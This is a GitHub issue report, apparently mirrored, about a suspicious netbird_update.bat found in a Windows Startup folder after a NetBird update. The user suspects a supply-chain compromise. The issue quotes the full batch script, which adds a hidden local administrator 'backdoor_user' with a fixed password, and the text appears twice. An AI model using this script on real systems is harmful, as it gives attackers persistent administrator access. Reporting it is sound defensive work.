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Suspicious netbird_update.bat found creating a backdoor user #2372

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opened 2025-11-20 07:08:47 -05:00 by saavagebueno · 0 comments
saavagebueno commented 2025-11-20 07:08:47 -05:00
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Originally created by @wgetnz on GitHub (Oct 14, 2025).

Describe the problem

After updating NetBird to a recent version (around 0.59.6, possibly one of the latest three releases), I discovered a suspicious file named netbird_update.bat located in my Windows startup directory.
This batch file appears to execute malicious commands to create a local administrator account and log its execution to C:\Temp\backdoor.log.

The contents of the file are:

@echo off
echo [%date% %time%] Backdoor executed >> C:\temp\backdoor.log
net user backdoor_user P@ssw0rd123 /add 2>nul
net localgroup administrators backdoor_user /add 2>nul

The corresponding log file C:\Temp\backdoor.log contains:

[2025/10/15 周三 9:49:01.76] Backdoor executed
[2025/10/15 周三 9:54:40.05] Backdoor executed

This behavior seems to indicate potential unauthorized modification of NetBird update scripts or a compromised installation/update source.

To Reproduce

Steps to reproduce the issue:

Start Windows 10 Pro 22H2 system with NetBird installed (version 0.59.6, updated this morning).

Inspect the startup directory:
C:\Users\max\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Find the suspicious file named netbird_update.bat.

Check the file content and the generated C:\Temp\backdoor.log.

Expected behavior

No system modification, account creation, or backdoor-like activity should occur during NetBird startup or update processes.
NetBird should never write to arbitrary system paths or create local administrator users.

Are you using NetBird Cloud?

No — using a self-hosted NetBird control plane.

NetBird version

netbird version → 0.59.6
(The installation was updated this morning, likely between the latest three versions.)

Is any other VPN software installed?

Yes — Tailscale is also installed on the same system.

Debug output

Will attach the anonymized debug bundle output separately once available:

netbird status -dA
netbird debug for 1m -AS

Screenshots

Not applicable — textual file and log evidence provided above.

Additional context

The file netbird_update.bat appeared automatically in the Windows Startup folder.

It seems unrelated to any manual configuration or self-host setup process.

This may indicate a possible supply-chain compromise, update script injection, or malicious file masquerading as part of NetBird.

Please advise how to verify the integrity of my installation and whether there are known incidents related to update script tampering.

Have you tried these troubleshooting steps?

Reviewed client troubleshooting guide

Checked for newer NetBird versions

Searched for similar issues on GitHub

Restarted the NetBird client

Disabled other VPN software

Checked firewall settings

Originally created by @wgetnz on GitHub (Oct 14, 2025). Describe the problem After updating NetBird to a recent version (around 0.59.6, possibly one of the latest three releases), I discovered a suspicious file named netbird_update.bat located in my Windows startup directory. This batch file appears to execute malicious commands to create a local administrator account and log its execution to C:\Temp\backdoor.log. The contents of the file are: @echo off echo [%date% %time%] Backdoor executed >> C:\temp\backdoor.log net user backdoor_user P@ssw0rd123 /add 2>nul net localgroup administrators backdoor_user /add 2>nul The corresponding log file C:\Temp\backdoor.log contains: [2025/10/15 周三 9:49:01.76] Backdoor executed [2025/10/15 周三 9:54:40.05] Backdoor executed This behavior seems to indicate potential unauthorized modification of NetBird update scripts or a compromised installation/update source. To Reproduce Steps to reproduce the issue: Start Windows 10 Pro 22H2 system with NetBird installed (version 0.59.6, updated this morning). Inspect the startup directory: C:\Users\max\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup Find the suspicious file named netbird_update.bat. Check the file content and the generated C:\Temp\backdoor.log. Expected behavior No system modification, account creation, or backdoor-like activity should occur during NetBird startup or update processes. NetBird should never write to arbitrary system paths or create local administrator users. Are you using NetBird Cloud? No — using a self-hosted NetBird control plane. NetBird version netbird version → 0.59.6 (The installation was updated this morning, likely between the latest three versions.) Is any other VPN software installed? Yes — Tailscale is also installed on the same system. Debug output Will attach the anonymized debug bundle output separately once available: netbird status -dA netbird debug for 1m -AS Screenshots Not applicable — textual file and log evidence provided above. Additional context The file netbird_update.bat appeared automatically in the Windows Startup folder. It seems unrelated to any manual configuration or self-host setup process. This may indicate a possible supply-chain compromise, update script injection, or malicious file masquerading as part of NetBird. Please advise how to verify the integrity of my installation and whether there are known incidents related to update script tampering. Have you tried these troubleshooting steps? Reviewed [client troubleshooting guide](https://docs.netbird.io/how-to/troubleshooting-client) Checked for newer NetBird versions Searched for similar issues on GitHub Restarted the NetBird client Disabled other VPN software Checked firewall settings
saavagebueno added the triage-needed label 2025-11-20 07:08:47 -05:00
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Reference: SVI/netbird#2372
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